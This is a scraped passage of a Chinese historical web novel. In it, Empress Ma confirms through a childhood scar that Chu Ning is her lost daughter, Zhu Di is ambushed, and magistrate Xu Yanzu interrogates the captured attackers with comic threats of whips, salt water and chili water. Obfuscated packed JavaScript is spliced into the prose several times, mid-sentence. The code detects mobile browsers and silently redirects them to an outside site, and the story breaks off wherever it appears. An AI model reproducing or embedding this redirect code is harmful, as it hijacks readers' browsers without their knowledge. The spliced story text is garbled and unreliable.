然而朱棣却摇摇头,朝着徐彦祖就是一拜。 徐彦祖神色微微一变,连忙闪身避开,在没有搞清楚朱棣的来意之前,这礼他可不敢受! “徐知县,我不仅仅是来学习武艺的,更是想要和徐知县学习治国之策!还请徐知县不吝赐教!” 朱棣神色坚定,一字一句说道。 闻言,徐彦祖顿时瞪大了眼睛。 他指着自己的鼻子对朱棣问道:“你说你是来找我学习治国之策的?你确定我有这么大的本事?” 不过同时,徐彦祖也明白了朱棣的心思。 就昨日朱棣为了维护朱元璋连亲爹都不要了的样子,明显就是怀着一腔热血想要报效国家,和自己学本事自然是为了日后到朝堂上出人头地。 徐彦祖这两问,让朱棣连连点头,他神色无比恭敬。 “昨日我已经见识到了徐知县的武功,而这松阳县在徐知县的治理下又如此繁荣昌盛,可见徐知县乃是不出世的大才,一身文治武功都非常人可以比拟!” “当然,这也是家母的意思。” 朱棣先是夸了徐彦祖一道,给其戴上了一顶高帽,随后又抬出马皇后,为的是让徐彦祖念在和马皇后的交情上收下他。 第五十五章 公主往事 “你小子,还挺有意思。” 徐彦祖无奈摇头,朱棣都把马皇后给搬出来了,他还能说什么,何况朱棣今日已经足够放低姿态,伸手不打笑脸人,他和朱棣本身也没有多大的矛盾。 “行了,既然你想要跟着,那就跟着吧。” 朱棣闻言大喜,连忙朝着徐彦祖就要下跪,却被眼疾手快的徐彦祖抢先一步扶住身子。 “我只是让你跟着,可没说要受你的拜师礼,明白吗?” 教导一个褚宁已经够头疼了,徐彦祖可不想再给自己惹麻烦。 更何况,徐彦祖还想借朱棣的手给自己定罪呢,要是真认下朱棣这个徒弟,那到时候自己是死还是不死? 不管怎么样都会陷朱棣于两难的境地,因此不能认下朱棣这个徒弟。 朱棣点点头,也没有强求,只要能够跟在徐彦祖身边学本事就行了。 毕竟师徒名分有些时候也不必看的那么重要。 另外一边,马皇后则是驱车前去找褚宁。 这一次,马皇后可不是独自前来,还将曾经一直贴身照顾女儿的婢女也一同带到了松阳县。 一路上,马皇后双手紧紧攥着手帕,时常看向窗外,心情无比忐忑。 一旁的婢女见到马皇后这副模样,心中也无比愧疚。 “娘娘,要是当初我没有离开小公主身边,就不会发生这样的事情了。” 马皇后闻言,轻轻摇了摇头。 “这件事不能怪你,当初我们乔装打扮出宫,这才给了人伢子可乘之机。” 她的语气里没有丝毫怪罪的意思。 随后,马皇后又紧紧握住婢女的手问道:“阿紫,你确定之前的事情说的都是真的?我女儿她身上还有其他的印记?” 阿紫重重点头。 “娘娘,我所言千真万确。” 原来,这一次马皇后回去之后,就再一次找到了从小照顾公主的阿紫询问,想要看看除了小公主从小的衣物饰品外,还有没有其他东西可以证明小公主的身份。 也就在这个时候,听闻马皇后极有可能发现了小公主的踪迹,阿紫才将心中一直隐藏的秘密说了出来。 早在小公主还小的时候,当时因为脚滑不小心跌落到了御花园的花丛之中,屁股正好就扎在荆棘之上,当时立刻就见血了。 这可是不得了的大事,并且当时朱元璋和马皇后对这个女儿都无比的喜爱,含在嘴里怕化了,捧在手心怕碎了,要是让两人知道了这件事,只怕当时照顾小公主的婢女全都要被处死。 幸好当年朱元璋忙于征讨北元,而马皇后身怀六甲,腹中正是如今的安庆公主。 也正因为如此,阿紫在内的几个婢女将这件事情隐瞒下来。 同时,为了避免被发现,所以婢女并没有去请太医院的太医过来亲自为小公主治疗,只是她们找了一些外伤的药敷了上去。 可婢女用的药和公主用的药哪能相提并论,最后即便小公主屁股上的伤好了,也留下了疤痕。 正所谓有心浇花花不开,无心插柳柳成荫,现如今这反而成为了查清小公主身世的证据。 也正因为如此,马皇后在得知此事之后,并没有怪罪阿紫等几位婢女。 很快,马车就停在了褚宁的住所。 自从褚宁渐渐长大之后,徐彦祖就在县城中给褚宁批了一个院子,打着眼不见为净的旗号将褚宁送去独自居住。 此刻,院门大开,里面传来一声声兵器相交的声音。 这明显是褚宁正在里面练武。 随后,马皇后带着阿紫走进了庭院。 一进门,就看到褚宁正在和下人比斗,一旁还有几个小厮鼓掌喝彩。 “褚姑娘!” 马皇后喊了一句。 听到马皇后的声音,褚宁先是应道:“干姐稍等。” 而后收起玩耍的心思,一剑将下人手中的武器挑飞,随即凌空一跃,翻身来到马皇后的面前。 “好!大姐头的功夫真是越来越好了!” 周围的小厮见状,连忙鼓起了掌。 “行啦,你们这些马屁精,先下去做自己的事情吧,还有那个小二,泡壶茶水过来,要最贵的,就上次我从徐彦祖房间里偷的那一罐!” 褚宁朝其中一个小厮说道。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15708111|172929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >偷? 当阿紫听到这个字眼后,整个人神色无比的复杂。 在来的路上,马皇后就已经提前和她打了预防针,告诉她如今的小公主脾气性格和以往已经有了非常大的改变。 可当她真正见到疑似小公主的褚宁时,还是有些难以接受。 最起码,对于皇家而言,偷东西这种事情有辱皇家颜面的事情,是不可能会出现的。 在联想到刚才褚宁的一身武艺,阿紫心中就更加自责。 倘若她早一点把这件事情告诉给马皇后,兴许一早就能将小公主给找回来,何至于变成今天这个模样。 马皇后并未注意到阿紫神色的变化,她此刻的注意力都在褚宁的身上。 而褚宁同样也只是把阿紫当作马皇后的婢女看待。 等到二人落座之后,马皇后也是开门见山直接说道:“褚姑娘,不知这段时间可否有我女儿的消息?” 褚宁摇了摇头:“干姐,这段时间我已经把那些蔬菜种植基地都跑遍了,但是并没有找到其他符合你女儿的人。” 马皇后点点头,这自然在她的意料之中。 她也没有把希望寄托在褚宁的身上。 不过,为了掩盖自己的真实目的,马皇后还是对着褚宁请求道:“妹子,干姐我在这里人生地不熟,这找女儿的事情还要拜托你了。” 褚宁重重点头:“放心吧干姐,你的事情就是我的事情,包在我身上。” “既然如此,那今日妹子可有时间?” 马皇后继续问道。 听到马皇后这话,褚宁就知道她这一次来松阳县就是为了找女儿,因此这是打算让自己现在就带她去找女儿。 当然,褚宁也能体会马皇后那急切的心情。 于是,褚宁当即站起身。 “干姐,我现在就带你去找女儿!” 说罢,带着马皇后就在松阳县城中逛了起来。 在找女儿的期间,褚宁并没有注意到,马皇后和婢女阿紫的目光时不时就会落在她的身上。 并且这一次马皇后的真实目的还是褚宁,找女儿不过只是一个借口而已。 第五十六章 验证身份 马皇后的真实想法,实际上是想趁此机会验证褚宁身上是否会存在疤痕,看看她究竟是不是自己被拐走的女儿。 不得不说,褚宁在带马皇后找女儿这件事上可没有半点含糊,驾着马车带马皇后将整个松阳县城都逛了个遍,可是依旧都没有马皇后女儿的消息。 直到最后,怕马皇后失落,褚宁还将马皇后揽在怀中安慰道:“干姐你放心,兴许你得到的是假消息,也可能你女儿之前在松阳县,后面去了其他地方,不过无论如何,我相信你女儿都还在等着和你团聚。” 面对褚宁的安慰,马皇后点点头,随即顺势说道:“妹子,这找了一天也累了,你看我们两个风尘仆仆的样子,要不找个地方清洗一番?我记得上次你带我去的那个地方就挺不错的,这次干姐请你去。” 褚宁闻言,原本疲惫的双眼骤然一亮,立马就驾着马车带着马皇后来澡堂泡澡。 澡堂内白烟升腾,热气侵袭着两人周身每一个毛孔,此刻的褚宁只感觉整日的疲惫都已经消散,忍不住发出一声感叹:“还是这泡澡舒服啊!” 一旁的马皇后嘴角带着浅笑,她招呼来阿紫服侍褚宁。 “褚宁,等泡澡结束之后,让我这婢女给你擦擦水汽,我带你去按摩。” 褚宁没想到马皇后竟然如此大方,不过她摇了摇头。 “干姐还是让我来吧,这澡堂和酒店都是徐彦祖的产业,我在这里消费根本就不用出钱,走的都是徐彦祖的账。” 正所谓有便宜不占王八蛋,马皇后大方归大方,可褚宁也不会看着马皇后花这等冤枉钱。 很快,随着私人澡堂内的水温开始下降,在马皇后的眼神示意下,阿紫也连忙来到褚宁身前,仔细的给褚宁擦着水汽。 “褚姑娘,还请转身。” 阿紫十分客气,神色温柔,可心里却无比紧张,只要褚宁一转身,那么褚宁到底是不是马皇后的女儿,是不是走丢的小公主,就可以真相大白了。 下一秒,当褚宁转过身时,马皇后和阿紫都同时看向褚宁的腰下,当看到下方那一道痕迹的时候,阿紫神色一喜,无比激动,她朝着马皇后重重点头。 而马皇后则是眼里瞬间充斥满了泪水,更是用一只手捂住了嘴巴不让自己发出哭声。 至于阿紫,手上的动作也开始颤抖,到最后,竟然直接抛下褚宁捂嘴跑了出去。 毕竟褚宁也算是阿紫从小一手带大的,怎么可能会没有感情,这些年她也同样备受煎熬。 阿紫跑出去的瞬间,褚宁就察觉到了不对。 她疑惑的看向马皇后问道:“她怎么了?” “没事妹子,你过来干姐这坐。” 马皇后朝褚宁招了招手。 如今她终于可以确认,褚宁就是她走失的女儿,大明的宁国公主,朱懿宁! 随后,马皇后偏过头去,落下两滴清泪在池水之中。 等到褚宁坐到马皇后身边的时候,这才发现马皇后眼眶微红。 “干姐,你是不是又想起自己的女儿了,你别担心,今日没有找到,明日再继续找便是。” 褚宁以为马皇后是在找女儿的事情担心,连忙出言安慰道。 马皇后却笑着摇了摇头,虽然她的眼里还含着泪光,但是如今确定了褚宁的身份后,总算不必再担惊受怕了。 “没事妹子,我只是在想,你那么小就被人伢子从父母身边给拐走了,这些年应该吃了很多苦吧。” 马皇后轻抚着褚宁的发丝柔声感叹。 这一句感叹的话语中,还夹杂着马皇后对褚宁的愧疚和自责。 褚宁低头思索了一下,这才对马皇后说道: “当初我那么小,被拐骗的时候肯定担惊受怕,不过或许也正因为如此,所以我丢失了很多儿时的记忆,就连父母的样子也记不起来了,不管我怎么想,都回忆不起来父母的样子。” “很多时候,我都在想,是不是当时父母本来就不在我的身边,或者说他们会不会根本就是把我遗弃了?” 褚宁不由说道。 听到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15708112|172929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这话,马皇后连忙摆手道: “不!不是这样的!” 褚宁皱了下眉头,似是没想到马皇后会有如此大的反应,不过她转念一想,自己很有可能会是马皇后的女儿,只不过如今还没有足够多的证据。 马皇后这样的反应也正常。 当然,褚宁也就随口一说,她冲马皇后笑了笑: “干姐你别激动,我也只是那么一想,在我那些零碎的记忆中,我能感觉到我的父母都很疼爱我,只不过我实在想不起来他们的样子了,但是徐彦祖和我说,像我这样的症状是记忆出现了障碍,是什么大脑的自我保护。” “他和我说了一大堆,最后告诉我在某一天我就会全部想起来的。” 也正因为如此,褚宁才没有和马皇后相认,她怕自己日后想起父母的样子不是马皇后她们,那她岂不是抛弃了自己的亲生父母投入了他人,这对马皇后真正的女儿也同样不公平。 褚宁这话让马皇后长舒一口气,只要褚宁对她和朱元璋没有怨恨就好。 她继续问道:“那后来呢?” 褚宁咧嘴一笑,说道: “其实我还是蛮幸运的,在我被拐之后,竟然遇到了徐彦祖,是他带着衙役将我从人伢子的手中救了下来,据他所说,如果他当时再晚来一天,我就要被人伢子给卖出去了,等到了那个时候,还不知道会有什么险恶的事情等着我呢!” 褚宁心中后怕的同时也十分庆幸。 “从那之后,我就一直跟在徐彦祖的身边,虽然我是被拐的孩子,和徐彦祖没有血缘关系,但是徐彦祖待我就如同亲妹妹一样,对我关怀备至,从来没有让我受过委屈。” 说到徐彦祖,褚宁脸上就洋溢起了笑容。 马皇后也点点头,心中对徐彦祖十分感谢。 同时暗暗想道: “徐彦祖是宁儿的救命恩人,又是大明不可多得的人才,等我回京之后,务必要让重八给他加官晋爵才行,这样的人才不能埋没,对女儿的恩情也不能不报!” 第五十七章 褚宁往事 “在之后呢?” 马皇后对褚宁后面的生活无比感兴趣,她急切的想知道这些年来褚宁是怎么渡过的。 “再后来啊,徐彦祖就培养我学文,让我练字读书,结果一次偶然发现我对武学的天赋远超文科,所以就让我随他一起学习武艺,再往后就是稀松平常的生活了。” 褚宁如实说道,同时心里对徐彦祖十分感激。 正所谓穷文富武,在学武的这些年中,徐彦祖给她用的药材膳食都是一等一的,这可是一笔不小的花费。 倘若是寻常人家,对一个毫无血缘关系的人,是断然不会做到如此地步的。 听到这里褚宁从小就跟着徐彦祖学武,马皇后就止不住的心疼。 “褚姑娘,学武很辛苦吧,整日风吹日晒的,你又是小姑娘家,年纪轻轻就有了这般武艺,只怕吃的苦比常人还要多。” 知道褚宁是自己的亲生女儿后,马皇后开口就再难说出女儿二字了。 褚宁摇了摇头,拍着胸脯骄傲的抬着头说道: “对别人来说,学武是很难,可是徐彦祖说我是天纵奇才,学武对我来说就如同喝水吃饭一样简单,根本就不用耗费多少力气。” “而且,现在的我,已经能够稳接徐彦祖三十招而不败北,可以说是这松阳县城第二高手!” “不过如果拼死相搏的话,只怕和徐彦祖过上五十招我就要落入下风了。” 褚宁这话让马皇后无比惊讶。 她可是知道褚宁的身手,就连毛镶这个现任锦衣卫的统领,大内高手,都不是褚宁的对手。 然而就是这样,褚宁竟然说自己在徐彦祖手中也不过是走三五十招,那徐彦祖的武艺得高强到何等地步! 但同时,马皇后心中也无比疑惑。 要知道,徐彦祖可是刘伯温的弟子。 可她和朱元璋却没有从刘伯温的口中知道有这样一个文武双全的人,倘若不是先前为了寻找女儿来到这松阳县,徐彦祖只怕是会这样一直隐藏在松阳县之中。 “看来,回去之后得再给重八写一封信,让他派人去调查一下刘伯温。” 想到这里,马皇后又不免暗自轻叹: “只是那刘伯温都已经过世两三年了,就算派锦衣卫去寻找,只怕也是无功而返。” 自从上一次胡惟庸毒杀刘伯温被徐彦祖插手失败之后,刘伯温就告老回乡,只说是在青田病故,可经过朱元璋查探,他死前最后一个老医师在身边,之后就匆匆下葬。 连刘伯温的两个亲生儿子都没见到生父下葬。 以至于朱元璋至今都在怀疑,刘伯温是真的**,还是假死脱身! 马皇后突然意识到,徐彦祖说不定和刘伯温还有联系,或者说,刘伯温的销声匿迹,很有可能徐彦祖一手策划的! 现如今,徐彦祖在马皇后的眼中也是越来越神秘。 带着对徐彦祖的好奇,马皇后也是对褚宁问道:“据我所知,诚意伯刘伯温并不懂武艺,不知是何人传授徐知县这一身的武艺?” 褚宁摇摇头,无奈说道:“关于这一点,不仅干姐你好奇,我也一样,但是每一次我问徐彦祖的时候,他就总是糊弄我,说他的师傅有很多。” “很多?不过的确,如此高强的武艺,应该是几位师傅一同传授。” 马皇后并不觉得奇怪。 褚宁闻言,哭笑不得道:“干姐,我话都还没有说完呢,你可知徐彦祖口中说的师傅是谁?” “是谁?” 马皇后看向褚宁,神色好奇。 “是白起,盖聂,韩信,英布,樊哙,卫青,霍去病,李靖,秦琼,程咬金,甚至还有赵匡胤。” 褚宁一次性吐出一大堆的人名,全都是历史上赫赫有名的武将,甚至还有宋太祖赵匡胤,朝代更是从秦朝一直到宋朝,时间跨度足足一千多年! 这话落在众人耳中,无疑是天方夜谭。 马皇后算是明白了,为什么褚宁会一副无奈的表情,就徐彦祖说的这几个人,都不可能和徐彦祖有所交集。 他们死的时候,徐彦祖都还没有出生呢,总不可能徐彦祖已经活了数千年了吧。 “看来徐知县是不想让人知道他的过去,我们还是不要多问了。” 马皇后只当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15714378|172929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐彦祖是在说笑,同时看向褚宁的目光柔情似水。 虽然褚宁在谈论练武一事时说的简单轻松,可马皇后毕竟是在军中长大的,又怎能不知道武艺是如何练出来的。 纵使你再怎么天赋异禀,该吃的苦一样不能少。 正所谓台上一分钟,台下十年功。 天赋异禀不代表无敌,褚宁能有今日这般高强的武艺,天赋异禀是一方面,更多的应该是自身的刻苦练习,当然也不能少了徐彦祖这样的老师。 “真是苦了这个孩子了,日后更要加倍补偿她才是。” 马皇后在心中暗暗下了决定。 随后,两人从澡堂中出来,阿紫此时也调整好了情绪。 马皇后也能理解阿紫的心情,所以并未责怪于她。 不过就在这个时候,不远处突然有侍卫纵马而来。 这让褚宁眉头一皱。 “是谁如此大胆,我记得城中有禁令,若无特殊情况,是不能在闹市区纵马疾驰的,否则就是扰民!” 说着,褚宁莲步轻点,一脚踏出就拦在了那侍卫面前。 将侍卫拦住后,褚宁对其呵斥道:“你是什么人?不知道大白天在闹市区纵马是犯法的吗?不仅会扰民,还容易冲撞到其他人,就算没有撞到人,踩到花花草草也是不行的,罚款五两银子,否则扣押你的马匹!” 褚宁话音刚落,身后的马皇后就哭笑不得说道:“褚姑娘,这是我的侍卫,这罚款就让我来替他交吧。” 马皇后拿出五两银子递给褚宁。 这倒是让褚宁有些尴尬,她没想到竟然是马皇后的侍卫。 “干姐,这钱我可不能收,只要你让侍卫下次注意点就行。” 褚宁可不能要这钱,否则别人还指不定怎么看她呢! 马皇后也没有强求,朝一旁跪地的侍卫说道:“刚才褚姑娘的话你都已经听到了,以后没有要紧的事情,不得在城中骑马。” 侍卫连连点头,但同时神色也无比急迫。 他跪在地上,对马皇后禀报道:“回禀夫人,属下这一次纵马确有急事,四少爷他遇到刺杀了!” 第五十八章 化身迷弟 “你说什么?你再说一遍,老四他怎么了!” 马皇后面色大变,心中一惊,身子一软就要倒下。 好在一旁的褚宁眼疾手快扶住马皇后。 同时对侍卫询问道:“到底是怎么回事?” “属下不知,只知道四少爷遇到刺杀,如今正在医院。” 侍卫低着头回道,他只是回来报信的,具体的情况并不清楚。 随即,马皇后和褚宁连忙赶往医院。 此时在病房中,朱棣躺在病床上,看着徐彦祖的目光无比的崇拜,而一旁的医生则是在给他的伤口做着处理。 不多时,门就被马皇后推开。 “老四!你怎么样?” 马皇后跌跌撞撞的跑进门,神色慌乱。 “娘亲,孩儿没事,只是受了一点轻伤。” 朱棣指着自己被包裹的伤口,浅笑道。 马皇后连忙坐到朱棣的身边,当看到朱棣只是左臂上有伤后,这才放下心来。 不过马皇后也同时对朱棣询问道:“老四,究竟发生了什么事情,你怎么会遭此祸事?” 马皇后的神色十分严肃,徐彦祖褚宁不知道他们的身份,他们一个是皇子一个是皇后,在这松阳县遇到了刺杀,这可不是小事。 万一是有心人要针对她们母子,那马皇后也只能求助徐彦祖,同时公开自己的身份了。 朱棣猜到了马皇后的想法,他对着马皇后摇摇头。 “娘亲,事情是这样的……” 半日前。 “朱小四啊,本彦祖有话说在前面,你跟着本彦祖学习,你就不是皇亲朱小四了,而是本彦祖身旁的小厮。” “有些事情你看得懂的就自己理会,看不懂的可以出言询问,至于要不要告诉你,是本彦祖的事情,本彦祖不说,你不能打破砂锅问到底!” “能不能做到?” 徐彦祖撅着屁股在那埋红薯茎,一边说嘴里一边叨叨个没完。 朱棣跟在旁边细心查看,听到这话也点了点头。 “知道,我一定好好学!” 他身为四皇子,从小就跟着朱标在大本堂学知识,虽然性格顽劣,可尊师重道的道理还是懂的。 而且徐彦祖的本事,他已经有些瞠目结舌。 今天这一早上,他到种植园,见到那近万亩田地连在一起,其中还夹杂着大片大片琉璃搭建的暖房。 而根据徐彦祖所说,这些土地都是松阳县和百姓联产承包的。 当时也就明白,徐彦祖所说的,所谓松阳县的政策和致富措施不能随随便便用在其他地方的原因。 单是收拢那近万亩田地遇到的阻力,便足以引发一场不小的争端。 而后续的种植,照料,收获又都需要大量的人力支持。 若是收成之后,负责的官员心生贪念,又将引发新一轮的祸端。 而徐彦祖不仅把这些事做了,而且做好,做得近乎完美,甚至朝堂之上都收不到一点风声。 这其中耗费的心血,可想而知! 朱棣心里对徐彦祖,更加折服。 一早上的忙碌过后,朱棣纵然从小习武,身子也几乎顶不住,刚靠在树下休息一会儿,就见不远处一个灰色的小身影一闪而过。 “野兔!” 朱棣一身的疲惫瞬间消散不少,四下看了看,顺手抄起一把锄头就追了出去。 刚追出种植园,到了一处密林,就听不远处一阵又急又快的脚步声响起。 朱棣急忙隐藏了起来。 至于为什么隐藏起来,别问,问就是习惯。 随后,就见十几个身穿粗布衣的人从密林中走出,直奔种植园外围,围着那种植园的篱笆墙鬼鬼祟祟。 朱棣顿时心生疑惑。 种植园里劳动的多是女性,虽然也有男性,但大多都是些庄稼汉。 而这些人看起来虽然穿着粗布衣,可实际上皮肤白净,身手矫健,明显不是种地的农人。 正好奇,就听那些人谈论之中,隐隐好像提到了徐彦祖的名字。 朱棣眉头一皱,提着锄头走上前,问道: “你们是什么人?” 那些人明显被吓了一跳,回头见到只有朱棣一个人,当即目露凶光,同时从衣襟下拿出**,二话不说就冲了上来。 朱棣心头一惊,一边挥舞锄头招架,一边往种植园里跑去。 他累了一个早上,又没有吃东西,再追着野兔跑了那么远,体力早就有些透支,刚跑出没多远,就被那些人追了上来,团团围住。 知道对方铁了心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而徐彦祖则是面带微笑,一边摆手一边说道: “哪里哪里,一般一般,别这么夸,加大火力,好听,爱听。” 第五十九章 审问犯人 在朱棣绘声绘色的讲述之下,马皇后一脸惊叹的望向徐彦祖。 她快步走到徐彦祖身前,对着徐彦祖弯腰行了一个大礼。 “郑大姐你这是作甚?” 徐彦祖吓了一跳。 “徐知县,这一次还要多谢你仗义出手相助,否则我儿的性命难保,到时候只怕是会惹出更大的祸事。” 马皇后神情诚恳。 虽然朱棣不像朱标那般在朱元璋心中有着极高的地位,可是他再怎么说也是一个皇子,若是就这样死在了松阳县,只怕会引起朱元璋的震怒。 到了那个时候,包括徐彦祖在内的众人都难辞其咎。 闻言,徐彦祖有些无奈。 他救朱棣乃是分内之事,毕竟朱棣是他带出去的,还误打误撞撞破了那些人的诡计,应该他对朱棣说谢谢才是。 “郑大姐言重了,这一次还要多谢朱小四揭穿了这些图谋不轨的人,应该我说谢谢才是。” 徐彦祖笑道。 一旁的朱棣听到徐彦祖这话,脸上神色一喜。 在他看来,这无疑是拉近了和徐彦祖之间的距离。 作为化身成为徐彦祖迷弟的朱棣来说,这可是千载难逢的好机会。 “徐知县,我们之间谢就不必多说了,只要你教我个一招半式,我就心满意足了!” 朱棣两眼冒着精光,他还是第一次见到像徐彦祖这么厉害的人。 要知道十几个人几乎全都是高手,不然也不会这么快就将他逼入绝境。 然而徐彦祖却一个人打的那群人落花流水屁滚尿流,这在朱棣的心中,不亚于天神下凡! “行啊,等有空的时候我教你两招。” 面对朱棣的请求,徐彦祖并未拒绝。 而一旁的马皇后则是开口问道:“徐知县,可知是何人所为?” 徐彦祖摇摇头。 “这些人并未开口,不过我已经让人将他们全都抓到了县衙的牢房,我稍后下去亲自审问。” 徐彦祖心中同样十分好奇,自己在松阳县算得上与世隔绝,怎么还会有人将主意打到了自己的头上。 如今朱棣身上的伤口经过处理已无大碍,徐彦祖让马皇后照顾朱棣,自己则是带着褚宁一起来到了牢房之中。 牢房内,两个被徐彦祖打伤的活口正被一群衙役严加看管。 望着眼前十几个衙役,两人的神色就无比颓败。 “就我们两个人,需要这么多人看管吗?” 其中一个人忍不住吐槽道。 闻言,看守他们的衙役不禁笑了起来。 “实话告诉你们吧,我们等这一天等了很久了,现如今整个松阳县根本就抓不到什么**。我们这些衙役啊,闲的都没有事情做,现在倒好,多了你们两个囚犯,总不至于有人再说我们吃空饷了!” 听到这话,两人不由面面相觑。 “不!不可能,这松阳县怎么会没有**?” “你莫非在耍我们?” 这是两人的第一反应,可他们随着衙役的手指的方向望去,整个大牢中寂然无声,周围的牢房全部都空着。 这让他们从心里就升起了一股恐惧。 而下一秒,不远处就传来了一阵脚步声。 来人自然是徐彦祖。 见到徐彦祖的一瞬间,两人的心中立即就被恐惧填满。 不过此时徐彦祖神色淡漠,目光落在两人身上没有任何波动,只是对着一旁的衙役淡淡说道:“给我架起来,本官要亲自审问。” 当两人被架起来后,徐彦祖便指着一旁墙壁上的八个大字说道:“抗拒从宽,坦白从严,只要如实交代,我就放你们一马。” 徐彦祖对二人并没有多少杀意,他更在乎的事情的真相。 “说吧,你们是谁派来的,来我松阳县又有什么目的?” 面对徐彦祖的询问,王五王六尽管心中有着对徐彦祖的恐惧,但依旧没有开口的打算。 甚至王五还咽了口唾沫,一副视死如归的表情朝徐彦祖说道:“要杀要剐随尽管放马过来,可想要让我们开口,我劝你还是**这条心吧!” 一旁的王六也重重点头,恶狠狠说道:“我劝你还是放了我们,否则到时候你头上这顶乌纱帽可难保!” 两人的话让徐彦祖眼睛微微一眯。 而后果真如同二人说的那般,不管徐彦祖和手下的衙役如何询问,王五王六二人就是不开口。 “知县大人,属下认为此等恶徒,应该直接动用刑罚!” 一旁的衙役见状,直接对徐彦祖跪地**道。 “刑罚?你打算对他们使用何种刑罚?” 褚宁不由问道。 “回知县大人,自然是严刑拷打!” 那衙役目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722232|172929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 露凶光,如今他们也知道这两人竟然暗中谋划对徐彦祖不利。 徐彦祖作为他们的衣食父母,又将松阳县治理的井井有条,他们绝不容许有人对徐彦祖不利。 “那你们就试试吧。” 褚宁有些跃跃欲试,只不过见徐彦祖脸色阴沉,也就没开口,耐着性子站在一旁。 就见那衙役拿起皮鞭,在王五身上猛地抽了一鞭,疼得王五直抽抽。 “停停停!” 褚宁摆了摆手,皱着眉头说道: “太残暴了!这么打怎么行?” 一旁的王六顿时松了一口气。 幸亏打的不是自己,而且听这姑娘的意思,好像看不得这个。 那自己不是捡着了? “你们得在鞭子上沾上烈酒,边打边消毒,这样才人道嘛!” “**!” 王五王六顿时傻眼了! 你特么这是人话? 看你这小姑娘长得白白嫩嫩的,心怎么这么黑? 衙役一听,顿时眼前一亮,急忙弄来烈酒,沾着烈酒冲着王五又抽了一鞭子。 一瞬间,火辣的刺痛传遍全身,疼得王五差点翻白眼。 “你特么有病啊?光打我一个人?” “草!王五,你什么意思?” “什么什么意思?” 褚宁见状,顿时冷哼一声,一把抢过鞭子。 “别吵了!觉得不公平是吧?行!来人,整点咱们松阳特产的精盐水来!” 随后,盐水到位。 褚宁满脸坏笑地说道: “不公平是吧?我这有两套服务,皮鞭加烈酒,边打边消毒。皮鞭加盐水,边打边入味。想要哪一套?” 王六看了看那烈酒,又看了看盐水,咬了咬牙说道: “能不要吗?” “能,老实交代!” 王六闻言,顿时叹了一口气,闭上眼睛。 “那你还是打吧!” 见状,徐彦祖直接起身来到两人面前,戏谑道:“真没想到你们两个的骨头还挺硬,都已经被打得遍体鳞伤了,竟然还不打算说出幕后主谋。” “看来,我要给你们上一点不一样的刑罚了。” 闻言,王五心中顿时涌起一阵不妙的预感。 “不是,谁遍体鳞伤了?我挨了两鞭子,他可一下没挨!” 第六十章 背后主使 徐彦祖淡淡一笑,同时将褚宁招呼到身边,指着王五王六说道: “这两个人是练家子,从武艺上来看应该是从小习武,这样的人一般都是大户人家培养的死士,想要靠着一般的刑罚让他们开口是一件极其困难的事情,不过没关系,今天我就教你们几招,以后遇到就能用上了” 说完,徐彦祖让人抬来了两个老虎凳,还有一瓶辣椒水,以及一罐蜂蜜。 老虎凳衙役们都认识,可是辣椒水和蜂蜜出现在这大牢之中,就让众人十分费解了。 见众人一副疑惑的神情,徐彦祖解释道:“你们可别小看这辣椒水和蜂蜜,这可是比老虎凳还要可怕的东西,接下来我会借这两位勇士给你们试验一番。” 说着,徐彦祖让一旁的衙役拿起辣椒水,朝着王五王六走去。 “你将辣椒水对准他们的眼睛,还有鼻子嘴巴,倘若他们不说,那你就一股脑的倒上去。” 直到此言一出,众人这才明白徐彦祖的想法,同时也在心中设想了一下,发现倘若自己被辣椒水泼到眼睛嘴巴鼻子,只怕一秒也坚持不了。 